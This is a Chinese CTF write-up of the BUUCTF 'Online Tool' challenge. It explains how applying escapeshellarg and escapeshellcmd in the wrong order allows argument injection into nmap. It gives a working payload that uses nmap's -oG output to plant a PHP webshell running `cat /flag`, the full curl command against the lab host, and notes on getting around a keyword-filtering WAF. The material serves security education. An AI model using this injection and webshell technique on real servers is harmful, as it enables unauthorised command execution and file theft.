[BUUCTF 2018]Online Tool题目解析

打开靶场,可以看到以下内容

这道题可以用burp做也可以直接在url地址上操作,我本来想用burp做的但是这台电脑上burp有问题,所以我就演示在url地址上的操作

首先说一下他的核心漏洞与利用

漏洞点:escapeshellarg + escapeshellcmd 组合不当

  1. escapeshellarg()

    给整个字符串加单引号,同时把内部存在的单引号转义为 '\''。

    例如输入:172.17.0.2' -v -d a=1

    处理后变成:'172.17.0.2'\'' -v -d a=1'

  2. escapeshellcmd()

    对整个命令字符串里的特殊字符(包括 \ 和未配对的单引号)前加 \ 进行转义。

    此时上一步的结果中,由于 escapeshellarg 额外插入的单引号,形成未配对状态,导致这些单引号被 escapeshellcmd 加上 \。

    最终变成:'172.17.0.2'\\'' -v -d a=1\'

当 Shell 解析时:

  • \\ 被解释为一个普通的 \ 字符;

  • 紧接着的单引号 ' 恢复了特殊含义,从而打破了原有参数的引号包裹;

  • 后面的 -v -d a=1 便以独立参数的形式注入到 nmap 命令中。

一句话总结就是:escapeshellarg 和 escapeshellcmd 执行顺序错误,导致攻击者可以通过精心构造的单引号,把恶意参数"挤出"引号包裹,变成独立的命令选项。

解:

我一开始是想利用这个上传后门的,但会遇到下面的问题,我感觉利用后门不太好做

注意

对面的服务器的WAF过滤掉了很多敏感词,像**eval、$_POST 等敏感关键字**,都是被过滤掉了的,一旦检测到,那么对方的服务器会拒绝访问并且重置连接。

所以查了下资料换个思路,我们的payload直接写一个"访问即输出 Flag"的 PHP 文件。

最终payload构成

payload:

html 复制代码
' <?=`cat /flag`;?> -oG f.php '

除此以外我们还要设置X-Forwarded-For,固定沙盒目录名,让我们能找到自己写入的Webshell。

X-Forwarded-For的地址随意。这是为了避免负载均衡可能引发的麻烦

我建议在cmd里面用curl命令执行,因为curl工具不存在浏览器兼容问题,而且能精确控制请求内容。

最终命令执行

html 复制代码
curl -g -H "X-Forwarded-For: 1.1.1.1" "http://1386f0b0-558b-4ae6-b19e-744b95273737.node5.buuoj.cn:81/?host=%27%20%3C%3F%3D%60cat%20/flag%60%3B%3F%3E%20-oG%20f.php%20%27"

我们的payload一定要用url编码编好,不然浏览器解析不了

这里面的-g是(禁止 URL 通配符解析)

可以看到我们的payload执行成功,并且返回了沙盒目录名e6305cd14dbe6e1fc4041d81cb3fc9ee

这个沙盒目录名就是存放flag的地方

payload执行成功后我们就要可以访问f.php让其输出flag

最终得到flag

flag{d4ddcd42-6d16-4c5b-ab41-340461926412}

相关推荐
sbjdhjd18 分钟前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Hum8le7 小时前
CTF题目《easy_web》(安洵杯 2019 变种 Web)
前端·安全·web安全
Dachui_11227 小时前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub7 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
梦帮科技7 小时前
【3.0】上线与运维:节点监控、水龙头、区块浏览器与安全清单
运维·安全·web安全·金融·区块链·密码学·安全架构
菩提小狗8 小时前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录8 小时前
SRC 挖洞:TanStack Start 服务器函数 XSS 深度复盘,CVE-2026-102989 怎么窃取用户会话
运维·服务器·网络安全·xss
三8448 小时前
Fastjson 漏洞· 06 · 防御、审计与检测
安全·web安全·fastjson
中原第一高手9 小时前
fofatoto 1.8.0 发布:启动即知新版本、中文进度面板与更干净的 Web 日志
python·网络安全·开源·资产测绘·fofa
砚凝霜10 小时前
【软考信息安全】第十二章 网络安全审计概述与分类
网络·安全·web安全